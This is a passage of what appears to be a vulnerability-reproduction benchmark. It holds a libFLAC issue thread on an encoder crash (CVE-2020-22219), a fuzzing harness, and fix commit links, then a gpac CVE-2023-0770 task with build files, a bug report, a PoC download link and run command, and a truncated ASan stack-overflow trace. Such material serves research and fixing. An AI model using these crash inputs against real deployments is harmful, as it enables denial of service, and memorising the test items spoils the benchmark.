just debugging. It helps us understand if this can legitimately be triggered by a user and if so, represents a security risk. --- Comment by ltx2018 on 2020-06-04 06:12:18+00:00: > How it is triggered is important for many reasons, not just debugging. It helps us understand if this can legitimately be triggered by a user and if so, represents a security risk. Yeah, you can run `fuzzer_encoder crash-fuzzer_encoder` to reproduce(source code is oss-fuzz/fuzz-encoder.cc), as i have already mentioned before. --- Comment by erikd on 2020-06-04 07:36:22+00:00: This is only triggered by submitting a specially crafted input to the *encoder* . It would be a far bigger issue if this was in the decoder. --- Comment by petterreinholdtsen on 2020-06-04 11:17:46+00:00: [Erik de Castro Lopo] > This is only triggered by submitting a specially crafted input to the > *encoder* . It would be a far bigger issue if this was in the decoder. Absolutely. But given these web streaming days, even encoding might provide an avenue into the system. :) -- Happy hacking Petter Reinholdtsen --- Comment by attritionorg on 2020-06-13 17:37:10+00:00: Is there potential for more than a crash / denial of service? --- Comment by ktmf01 on 2021-11-30 18:34:41+00:00: @ltx2018 I've tried to reproduce this, but I seem to be bumping into [this problem with clang/LLVM](https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=945073), which prevents me from building fuzzer_encoder on a 32-bit system. Anyway, I have a hunch about what might be triggering the problem. Would you mind checking whether PR #252 solves this problem? I know #214 should already fix the problem, but I think #252 might be fixing the root cause. Please let me know. --- Comment by ktmf01 on 2022-01-11 20:59:28+00:00: @ltx2018 Okay, I finally got this one to trigger. #252 didn't fix it, neither did #251. --- Comment by ktmf01 on 2022-04-12 17:42:33+00:00: I believe this is fixed with the merge of #273. @ltx2018 could you check? --- Comment by ktmf01 on 2022-08-20 14:05:18+00:00: This is fixed with the merge of #419 --- Comment by cebarks on 2023-08-28 20:50:40+00:00: FYI, this flaw is being tracked by CVE-2020-22219. --- Comment by ktmf01 on 2023-09-03 17:51:22+00:00: I think the analysis of CVE-2020-22219 is wrong. The vulnerability described in CVE-2020-22219 is in libFLAC. However, this vulnerability is only exploitable when the program calling the library does not fulfill a key requirement of the library API: the calling program has to supply values that are out-of-bounds. This requirement is mentioned [here](https://xiph.org/flac/api/group__flac__stream__encoder.html#ga7453fc29d7e86b499f23b1adfba98da1), [here](https://xiph.org/flac/api/group__flac__stream__encoder.html#ga87b9c361292da5c5928a8fb5fda7c423) and [here](https://xiph.org/flac/api/group__flac__stream__encoder.html#ga6e31c221f7e23345267c52f53c046c24). This means that there is no way to exploit the vulnerability through the flac command line tool that is provided by the project: it does not violate this requirement, it only supplies values that are within bounds. So, the vulnerability is only exploitable with a program calling libFLAC that is does not properly check whether inputs are bounded or not. That seems a pretty important omission in the current analysis. --- Comment by ktmf01 on 2023-09-06 06:05:52+00:00: On second thought, there is another way to exploit this, but that is very unreliable: when running out of memory. As FLAC uses only a tiny amount of memory and the failing realloc only allocates a small amount of memory, this is probably hard to turn into an exploit. In short, this buffer overflow only happens after an unhandled memory allocation failure. --- Comment by mlichvar on 2023-09-11 13:14:11+00:00: Doesn't the attacker control how much memory will the encoder need? With flac it causes a double free, but I guess other applications might do something with the encoder after the reallocation failed. --- Comment by ktmf01 on 2023-09-11 13:31:46+00:00: No, the encoding parameters bound how much memory is used, so an attacker cannot let libFLAC use an arbitrary amount of memory, except when the program allows for supplying invalid data. The problem here was that invalid input made the encoder go beyond those bounds. That is why #273 adds an explicit check that input is valid, #252 added a limit to the bitwriter size (which was increased in #378) and #419 fixed handling of the allocation failure. Attachments: https://github.com/xiph/flac/files/4715489/crash-fuzzer_encoder.zip
[ { "content": "// Copyright 2020 Google Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n#include <assert.h>\n#include <string>\n\n#include \"include/flac_parser.h\"\n\n#include <jni.h>\n\n// #include <android/log.h>\n\n#include <cassert>\n#include <cstdlib>\n#include <cstring>\n\n#include \"fuzzer_common.h\"\n\n#define LOG_TAG \"FLACParser\"\n\n#define LITERAL_TO_STRING_INTERNAL(x) #x\n#define LITERAL_TO_STRING(x) LITERAL_TO_STRING_INTERNAL(x)\n\n#define CHECK(x) if (!(x)) return 0;\n\nconst int endian = 1;\n#define isBigEndian() (*(reinterpret_cast<const char *>(&endian)) == 0)\n\n// The FLAC parser calls our C++ static callbacks using C calling conventions,\n// inside FLAC__stream_decoder_process_until_end_of_metadata\n// and FLAC__stream_decoder_process_single.\n// We immediately then call our corresponding C++ instance methods\n// with the same parameter list, but discard redundant information.\n\nFLAC__StreamDecoderReadStatus FLACParser::read_callback(\n const FLAC__StreamDecoder * /* decoder */, FLAC__byte buffer[],\n size_t *bytes, void *client_data) {\n return reinterpret_cast<FLACParser *>(client_data)\n ->readCallback(buffer, bytes);\n}\n\nFLAC__StreamDecoderSeekStatus FLACParser::seek_callback(\n const FLAC__StreamDecoder * /* decoder */,\n FLAC__uint64 absolute_byte_offset, void *client_data) {\n return reinterpret_cast<FLACParser *>(client_data)\n ->seekCallback(absolute_byte_offset);\n}\n\nFLAC__StreamDecoderTellStatus FLACParser::tell_callback(\n const FLAC__StreamDecoder * /* decoder */,\n FLAC__uint64 *absolute_byte_offset, void *client_data) {\n return reinterpret_cast<FLACParser *>(client_data)\n ->tellCallback(absolute_byte_offset);\n}\n\nFLAC__StreamDecoderLengthStatus FLACParser::length_callback(\n const FLAC__StreamDecoder * /* decoder */, FLAC__uint64 *stream_length,\n void *client_data) {\n return reinterpret_cast<FLACParser *>(client_data)\n ->lengthCallback(stream_length);\n}\n\nFLAC__bool FLACParser::eof_callback(const FLAC__StreamDecoder * /* decoder */,\n void *client_data) {\n return reinterpret_cast<FLACParser *>(client_data)->eofCallback();\n}\n\nFLAC__StreamDecoderWriteStatus FLACParser::write_callback(\n const FLAC__StreamDecoder * /* decoder */, const FLAC__Frame *frame,\n const FLAC__int32 *const buffer[], void *client_data) {\n return reinterpret_cast<FLACParser *>(client_data)\n ->writeCallback(frame, buffer);\n}\n\nvoid FLACParser::metadata_callback(const FLAC__StreamDecoder * /* decoder */,\n const FLAC__StreamMetadata *metadata,\n void *client_data) {\n reinterpret_cast<FLACParser *>(client_data)->metadataCallback(metadata);\n}\n\nvoid FLACParser::error_callback(const FLAC__StreamDecoder * /* decoder */,\n FLAC__StreamDecoderErrorStatus status,\n void *client_data) {\n reinterpret_cast<FLACParser *>(client_data)->errorCallback(status);\n}\n\n// These are the corresponding callbacks with C++ calling conventions\n\nFLAC__StreamDecoderReadStatus FLACParser::readCallback(FLAC__byte buffer[],\n size_t *bytes) {\n size_t requested = *bytes;\n ssize_t actual = mDataSource->readAt(mCurrentPos, buffer, requested);\n if (0 > actual) {\n *bytes = 0;\n return FLAC__STREAM_DECODER_READ_STATUS_ABORT;\n } else if (0 == actual) {\n *bytes = 0;\n mEOF = true;\n return FLAC__STREAM_DECODER_READ_STATUS_END_OF_STREAM;\n } else {\n assert(actual <= requested);\n *bytes = actual;\n mCurrentPos += actual;\n return FLAC__STREAM_DECODER_READ_STATUS_CONTINUE;\n }\n}\n\nFLAC__StreamDecoderSeekStatus FLACParser::seekCallback(\n FLAC__uint64 absolute_byte_offset) {\n mCurrentPos = absolute_byte_offset;\n mEOF = false;\n return FLAC__STREAM_DECODER_SEEK_STATUS_OK;\n}\n\nFLAC__StreamDecoderTellStatus FLACParser::tellCallback(\n FLAC__uint64 *absolute_byte_offset) {\n *absolute_byte_offset = mCurrentPos;\n return FLAC__STREAM_DECODER_TELL_STATUS_OK;\n}\n\nFLAC__StreamDecoderLengthStatus FLACParser::lengthCallback(\n FLAC__uint64 *stream_length) {\n return FLAC__STREAM_DECODER_LENGTH_STATUS_UNSUPPORTED;\n}\n\nFLAC__bool FLACParser::eofCallback() { return mEOF; }\n\nFLAC__StreamDecoderWriteStatus FLACParser::writeCallback(\n const FLAC__Frame *frame, const FLAC__int32 *const buffer[]) {\n if (mWriteRequested) {\n mWriteRequested = false;\n // FLAC parser doesn't free or realloc buffer until next frame or finish\n mWriteHeader = frame->header;\n mWriteBuffer = buffer;\n mWriteCompleted = true;\n return FLAC__STREAM_DECODER_WRITE_STATUS_CONTINUE;\n } else {\n return FLAC__STREAM_DECODER_WRITE_STATUS_ABORT;\n }\n}\n\nvoid FLACParser::metadataCallback(const FLAC__StreamMetadata *metadata) {\n switch (metadata->type) {\n case FLAC__METADATA_TYPE_STREAMINFO:\n if (!mStreamInfoValid) {\n mStreamInfo = metadata->data.stream_info;\n mStreamInfoValid = true;\n } else {\n break;\n }\n break;\n case FLAC__METADATA_TYPE_SEEKTABLE:\n mSeekTable = &metadata->data.seek_table;\n break;\n case FLAC__METADATA_TYPE_VORBIS_COMMENT:\n if (!mVorbisCommentsValid) {\n FLAC__StreamMetadata_VorbisComment vorbisComment =\n metadata->data.vorbis_comment;\n for (FLAC__uint32 i = 0; i < vorbisComment.num_comments; ++i) {\n FLAC__StreamMetadata_VorbisComment_Entry vorbisCommentEntry =\n vorbisComment.comments[i];\n if (vorbisCommentEntry.entry != NULL) {\n std::string comment(\n reinterpret_cast<char *>(vorbisCommentEntry.entry),\n vorbisCommentEntry.length);\n mVorbisComments.push_back(comment);\n }\n }\n mVorbisCommentsValid = true;\n } else {\n break;\n }\n break;\n case FLAC__METADATA_TYPE_PICTURE: {\n const FLAC__StreamMetadata_Picture *parsedPicture =\n &metadata->data.picture;\n FlacPicture picture;\n picture.mimeType.assign(std::string(parsedPicture->mime_type));\n picture.description.assign(\n std::string((char *)parsedPicture->description));\n picture.data.assign(parsedPicture->data,\n parsedPicture->data + parsedPicture->data_length);\n picture.width = parsedPicture->width;\n picture.height = parsedPicture->height;\n picture.depth = parsedPicture->depth;\n picture.colors = parsedPicture->colors;\n picture.type = parsedPicture->type;\n mPictures.push_back(picture);\n mPicturesValid = true;\n break;\n }\n default:\n break;\n }\n}\n\nvoid FLACParser::errorCallback(FLAC__StreamDecoderErrorStatus status) {\n mErrorStatus = status;\n}\n\n// Copy samples from FLAC native 32-bit non-interleaved to\n// correct bit-depth (non-zero padded), interleaved.\n// These are candidates for optimization if needed.\nstatic void copyToByteArrayBigEndian(int8_t *dst, const int *const *src,\n unsigned bytesPerSample, unsigned nSamples,\n unsigned nChannels) {\n for (unsigned i = 0; i < nSamples; ++i) {\n for (unsigned c = 0; c < nChannels; ++c) {\n // point to the first byte of the source address\n // and then skip the first few bytes (most significant bytes)\n // depending on the bit depth\n const int8_t *byteSrc =\n reinterpret_cast<const int8_t *>(&src[c][i]) + 4 - bytesPerSample;\n memcpy(dst, byteSrc, bytesPerSample);\n dst = dst + bytesPerSample;\n }\n }\n}\n\nstatic void copyToByteArrayLittleEndian(int8_t *dst, const int *const *src,\n unsigned bytesPerSample,\n unsigned nSamples, unsigned nChannels) {\n for (unsigned i = 0; i < nSamples; ++i) {\n for (unsigned c = 0; c < nChannels; ++c) {\n // with little endian, the most significant bytes will be at the end\n // copy the bytes in little endian will remove the most significant byte\n // so we are good here.\n memcpy(dst, &(src[c][i]), bytesPerSample);\n dst = dst + bytesPerSample;\n }\n }\n}\n\nstatic void copyTrespass(int8_t * /* dst */, const int *const * /* src */,\n unsigned /* bytesPerSample */, unsigned /* nSamples */,\n unsigned /* nChannels */) {\n ;\n}\n\n// FLACParser\n\nFLACParser::FLACParser(DataSource *source)\n : mDataSource(source),\n mCopy(copyTrespass),\n mDecoder(NULL),\n mCurrentPos(0LL),\n mEOF(false),\n mStreamInfoValid(false),\n mSeekTable(NULL),\n firstFrameOffset(0LL),\n mVorbisCommentsValid(false),\n mPicturesValid(false),\n mWriteRequested(false),\n mWriteCompleted(false),\n mWriteBuffer(NULL),\n mErrorStatus((FLAC__StreamDecoderErrorStatus)-1) {\n memset(&mStreamInfo, 0, sizeof(mStreamInfo));\n memset(&mWriteHeader, 0, sizeof(mWriteHeader));\n}\n\nFLACParser::~FLACParser() {\n if (mDecoder != NULL) {\n FLAC__stream_decoder_delete(mDecoder);\n mDecoder = NULL;\n }\n}\n\nbool FLACParser::init() {\n // setup libFLAC parser\n mDecoder = FLAC__stream_decoder_new();\n if (mDecoder == NULL) {\n // The new should succeed, since probably all it does is a malloc\n // that always succeeds in Android. But to avoid dependence on the\n // libFLAC internals, we check and log here.\n return false;\n }\n FLAC__stream_decoder_set_md5_checking(mDecoder, false);\n FLAC__stream_decoder_set_metadata_ignore_all(mDecoder);\n FLAC__stream_decoder_set_metadata_respond(mDecoder,\n FLAC__METADATA_TYPE_STREAMINFO);\n FLAC__stream_decoder_set_metadata_respond(mDecoder,\n FLAC__METADATA_TYPE_SEEKTABLE);\n FLAC__stream_decoder_set_metadata_respond(mDecoder,\n FLAC__METADATA_TYPE_VORBIS_COMMENT);\n FLAC__stream_decoder_set_metadata_respond(mDecoder,\n FLAC__METADATA_TYPE_PICTURE);\n FLAC__StreamDecoderInitStatus initStatus;\n initStatus = FLAC__stream_decoder_init_stream(\n mDecoder, read_callback, seek_callback, tell_callback, length_callback,\n eof_callback, write_callback, metadata_callback, error_callback,\n reinterpret_cast<void *>(this));\n if (initStatus != FLAC__STREAM_DECODER_INIT_STATUS_OK) {\n // A failure here probably indicates a programming error and so is\n // unlikely to happen. But we check and log here similarly to above.\n return false;\n }\n return true;\n}\n\nbool FLACParser::decodeMetadata() {\n // parse all metadata\n if (!FLAC__stream_decoder_process_until_end_of_metadata(mDecoder)) {\n return false;\n }\n // store first frame offset\n FLAC__stream_decoder_get_decode_position(mDecoder, &firstFrameOffset);\n\n if (mStreamInfoValid) {\n // check channel count\n if (getChannels() == 0 || getChannels() > 8) {\n return false;\n }\n // check bit depth\n switch (getBitsPerSample()) {\n case 8:\n case 16:\n case 24:\n case 32:\n break;\n default:\n return false;\n }\n // configure the appropriate copy function based on device endianness.\n if (isBigEndian()) {\n mCopy = copyToByteArrayBigEndian;\n } else {\n mCopy = copyToByteArrayLittleEndian;\n }\n } else {\n return false;\n }\n return true;\n}\n\nsize_t FLACParser::readBuffer(void *output, size_t output_size) {\n mWriteRequested = true;\n mWriteCompleted = false;\n\n if (!FLAC__stream_decoder_process_single(mDecoder)) {\n return -1;\n }\n if (!mWriteCompleted) {\n if (FLAC__stream_decoder_get_state(mDecoder) !=\n FLAC__STREAM_DECODER_END_OF_STREAM) {\n }\n return -1;\n }\n\n // verify that block header keeps the promises made by STREAMINFO\n unsigned blocksize = mWriteHeader.blocksize;\n if (blocksize == 0 || blocksize > getMaxBlockSize()) {\n return -1;\n }\n if (mWriteHeader.sample_rate != getSampleRate() ||\n mWriteHeader.channels != getChannels() ||\n mWriteHeader.bits_per_sample != getBitsPerSample()) {\n return -1;\n }\n\n unsigned bytesPerSample = getBitsPerSample() >> 3;\n size_t bufferSize = blocksize * getChannels() * bytesPerSample;\n if (bufferSize > output_size) {\n return -1;\n }\n\n // copy PCM from FLAC write buffer to our media buffer, with interleaving.\n (*mCopy)(reinterpret_cast<int8_t *>(output), mWriteBuffer, bytesPerSample,\n blocksize, getChannels());\n\n // fill in buffer metadata\n CHECK(mWriteHeader.number_type == FLAC__FRAME_NUMBER_TYPE_SAMPLE_NUMBER);\n\n return bufferSize;\n}\n\nbool FLACParser::getSeekPositions(int64_t timeUs,\n std::array<int64_t, 4> &result) {\n if (!mSeekTable) {\n return false;\n }\n\n unsigned sampleRate = getSampleRate();\n int64_t totalSamples = getTotalSamples();\n int64_t targetSampleNumber = (timeUs * sampleRate) / 1000000LL;\n if (targetSampleNumber >= totalSamples) {\n targetSampleNumber = totalSamples - 1;\n }\n\n FLAC__StreamMetadata_SeekPoint* points = mSeekTable->points;\n unsigned length = mSeekTable->num_points;\n\n for (unsigned i = length; i != 0; i--) {\n int64_t sampleNumber = points[i - 1].sample_number;\n if (sampleNumber == -1) { // placeholder\n continue;\n }\n if (sampleNumber <= targetSampleNumber) {\n result[0] = (sampleNumber * 1000000LL) / sampleRate;\n result[1] = firstFrameOffset + points[i - 1].stream_offset;\n if (sampleNumber == targetSampleNumber || i >= length ||\n points[i].sample_number == -1) { // placeholder\n // exact seek, or no following non-placeholder seek point\n result[2] = result[0];\n result[3] = result[1];\n } else {\n result[2] = (points[i].sample_number * 1000000LL) / sampleRate;\n result[3] = firstFrameOffset + points[i].stream_offset;\n }\n return true;\n }\n }\n result[0] = 0;\n result[1] = firstFrameOffset;\n result[2] = 0;\n result[3] = firstFrameOffset;\n return true;\n}\n\nnamespace {\n\n class FuzzDataSource : public DataSource {\n const uint8_t *data_;\n size_t size_;\n\n public:\n FuzzDataSource(const uint8_t *data, size_t size) {\n data_ = data;\n size_ = size;\n }\n\n ssize_t readAt(off64_t offset, void *const data, size_t size) {\n if (offset > size_)\n return -1;\n size_t remaining = size_ - offset;\n if (remaining < size)\n size = remaining;\n memcpy(data, data_ + offset, size);\n return size;\n }\n };\n\n} // namespace\n\n// Fuzz FLAC format and instrument the result as exoplayer JNI would:\n// https://github.com/google/ExoPlayer/blob/release-v2/extensions/flac/src/main/jni/\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {\n FuzzDataSource source(data, size);\n FLACParser parser(&source);\n\n // Early parsing\n if (!parser.init() || !parser.decodeMetadata())\n return 0;\n\n auto streamInfo = parser.getStreamInfo();\n\n // Similar implementation than ExoPlayer\n int buffer_size = streamInfo.max_blocksize * streamInfo.channels * 2;\n assert(buffer_size >= 0); // Not expected\n auto buffer = new uint8_t[buffer_size];\n\n while (parser.readBuffer(buffer, buffer_size) < ((size_t)-1));\n delete[] buffer;\n\n return 0;\n}\n", "filename": "fuzzer_exo.cpp" } ]
[ { "sha": "5a79fb5ce99b4fb7ba01b4ea85a0e5911e82b243", "url": "https://github.com/xiph/flac/commit/5a79fb5ce99b4fb7ba01b4ea85a0e5911e82b243" }, { "sha": "c354702a89b226f570399e5b0a7c93d869855e3d", "url": "https://github.com/xiph/flac/commit/c354702a89b226f570399e5b0a7c93d869855e3d" }, { "sha": "76ceea2ab584576d6568a5d5072dc0706a6f4d50", "url": "https://github.com/xiph/flac/commit/76ceea2ab584576d6568a5d5072dc0706a6f4d50" }, { "sha": "8903ebc842a0fec3e23b5709ef221381069f138e", "url": "https://github.com/xiph/flac/commit/8903ebc842a0fec3e23b5709ef221381069f138e" }, { "sha": "2d890bc4f4daf3956e19ee2810fa1db340965e9f", "url": "https://github.com/xiph/flac/commit/2d890bc4f4daf3956e19ee2810fa1db340965e9f" }, { "sha": "71d86376e67ec49df923963377e54219a5ef0b3c", "url": "https://github.com/xiph/flac/commit/71d86376e67ec49df923963377e54219a5ef0b3c" }, { "sha": "ab919bff5dbd3aeae10730f5c1a0aacc47d15665", "url": "https://github.com/xiph/flac/commit/ab919bff5dbd3aeae10730f5c1a0aacc47d15665" }, { "sha": "d22e3ae5002fecf8bd00adcfc54c162db2f67bb9", "url": "https://github.com/xiph/flac/commit/d22e3ae5002fecf8bd00adcfc54c162db2f67bb9" }, { "sha": "f351ad19aa4e7bdcb618320fbd2cf35535aa2351", "url": "https://github.com/xiph/flac/commit/f351ad19aa4e7bdcb618320fbd2cf35535aa2351" }, { "sha": "f2d794fc7d52c8600499055f916dc89963d7200f", "url": "https://github.com/xiph/flac/commit/f2d794fc7d52c8600499055f916dc89963d7200f" }, { "sha": "a486a5a670522aae8cdb12501c4fe34b0400a1f6", "url": "https://github.com/xiph/flac/commit/a486a5a670522aae8cdb12501c4fe34b0400a1f6" }, { "sha": "23497a16a206e13b8b0ec5f57f465dab6f20330e", "url": "https://github.com/xiph/flac/commit/23497a16a206e13b8b0ec5f57f465dab6f20330e" }, { "sha": "def5090ba2a17cd342108b4b1091d17439ea50ae", "url": "https://github.com/xiph/flac/commit/def5090ba2a17cd342108b4b1091d17439ea50ae" }, { "sha": "af33748bdd146ecee2ab8ff3509357aaff3c1eaf", "url": "https://github.com/xiph/flac/commit/af33748bdd146ecee2ab8ff3509357aaff3c1eaf" }, { "sha": "83db69d51271daccbe319f38f89e21dcad56bfcd", "url": "https://github.com/xiph/flac/commit/83db69d51271daccbe319f38f89e21dcad56bfcd" } ]
gpac.cve-2023-0770
gpac/gpac
514a3af977f675bd917e19f957fe6fb56ac14bf4
2022-11-23T08:43:54
gpac
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y build-essential pkg-config libz-dev RUN git clone https://github.com/gpac/gpac gpac RUN git -C gpac checkout 514a3af977f675bd917e19f957fe6fb56ac14bf4 WORKDIR $SRC/gpac COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./configure --static-build --extra-cflags="${CFLAGS}" --extra-ldflags="${CFLAGS}" make -j$(nproc)
/src/gpac
address
================= Bug Report (1/1) ================== ## Source: Huntr ## URL: https://huntr.dev/bounties/e0fdeee5-7909-446e-9bd0-db80fd80e8dd ## Description: Description Stack-Based Buffer Overflow in gf_sg_proto_field_is_sftime_offset at vrml_proto.c:1295. version git log commit 05eaac875354682942b70c790bcd62cb5f4cc825 (grafted, HEAD -> master, origin/master, origin/HEAD) Author: Jean Le Feuvre <jeanlf@gpac.io> Date: Mon Nov 14 18:07:45 2022 +0100 fixed msvc warnings ./MP4Box -version MP4Box - GPAC version 2.1-DEV-revUNKNOWN-master (c) 2000-2022 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io reference: possible root cause 1) recursive call code1:gf_node_get_field scenegraph/base_scenegraph.c:2043 GF_Err gf_node_get_field(GF_Node *node, u32 FieldIndex, GF_FieldInfo *info) { assert(node); assert(info); memset(info, 0, sizeof(GF_FieldInfo)); //here sizeof(GF_FieldInfo)=0x28 info->fieldIndex = FieldIndex; if (node->sgprivate->tag==TAG_UndefinedNode) return GF_BAD_PARAM; #ifndef GPAC_DISABLE_VRML else if (node->sgprivate->tag == TAG_ProtoNode) return gf_sg_proto_get_field(NULL, node, info); else if (node->sgprivate->tag == TAG_MPEG4_Script) return gf_sg_script_get_field(node, info); code 2:gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1293 Bool gf_sg_proto_field_is_sftime_offset(GF_Node *node, GF_FieldInfo *field) { u32 i; GF_Route *r; GF_ProtoInstance *inst; GF_FieldInfo inf; if (node->sgprivate->tag != TAG_ProtoNode) return 0; if (field->fieldType != GF_SG_VRML_SFTIME) return 0; inst = (GF_ProtoInstance *) node; /*check in interface if this is ISed */ i=0; while ((r = (GF_Route*)gf_list_enum(inst->proto_interface->sub_graph->Routes, &i))) { if (!r->IS_route) continue; /*only check eventIn/field/exposedField*/ if (r->FromNode || (r->FromField.fieldIndex != field->fieldIndex)) continue; gf_node_get_field(r->ToNode, r->ToField.fieldIndex, &inf); // 0x100 /*IS to another proto*/ if (r->ToNode->sgprivate->tag == TAG_ProtoNode) return gf_sg_proto_field_is_sftime_offset(r->ToNode, &inf); // Recursive call triggered SIGSEGV /*IS to a startTime/stopTime field*/ if (!stricmp(inf.name, "startTime") || !stricmp(inf.name, "stopTime")) return 1; } return 0; } 2、 when stack size of programe stack is too small , it triggered stack overflow and caused segmentation fault (core dumped). Hope it's helpful for fix it. Proof of Concept poc download url: https://github.com/Janette88/test_pocs/blob/main/sbo2 ./MP4Box -bt sbo2 [iso file] Unknown box type dCCf in parent minf [iso file] Missing DataInformationBox [iso file] extra box maxr found in hinf, deleting [iso file] extra box maxr found in hinf, deleting [iso file] Unknown box type 80rak in parent moov [ODF] Descriptor size on more than 4 bytes [iso file] Incomplete box mdat - start 11495 size 853093 [iso file] Incomplete file while reading for dump - aborting parsing [iso file] Unknown box type dCCf in parent minf [iso file] Missing DataInformationBox [iso file] extra box maxr found in hinf, deleting [iso file] extra box maxr found in hinf, deleting [iso file] Unknown box type 80rak in parent moov [ODF] Descriptor size on more than 4 bytes [iso file] Incomplete box mdat - start 11495 size 853093 [iso file] Incomplete file while reading for dump - aborting parsing MPEG-4 BIFS Scene Parsing [ODF] Reading bifs config: shift in sizes (invalid descriptor) AddressSanitizer:DEADLYSIGNAL ================================================================= ==6667==ERROR: AddressSanitizer: stack-overflow on address 0x7fff20958f18 (pc 0x7efda5e75e49 bp 0x7fff209597a0 sp 0x7fff20958f20 T0) #0 0x7efda5e75e48 in __interceptor_memset ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:762 #1 0x7efda26e7f7a in memset /usr/include/x86_64-linux-gnu/bits/string_fortified.h:71 #2 0x7efda26e7f7a in gf_node_get_field scenegraph/base_scenegraph.c:2043 #3 0x7efda2858b22 in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1293 #4 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #5 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #6 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #7 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #8 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #9 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #10 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #11 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #12 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #13 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #14 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #15 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #16 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #17 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #18 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #19 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #20 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #21 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #22 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #23 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #24 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #25 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #26 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #27 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #28 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #29 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #30 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #31 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #32 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #33 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #34 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #35 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #36 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #37 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #38 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #39 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #40 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #41 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #42 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #43 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #44 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #45 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #46 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #47 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #48 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #49 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #50 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #51 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #52 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #53 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #54 0x7efda2858c1f in 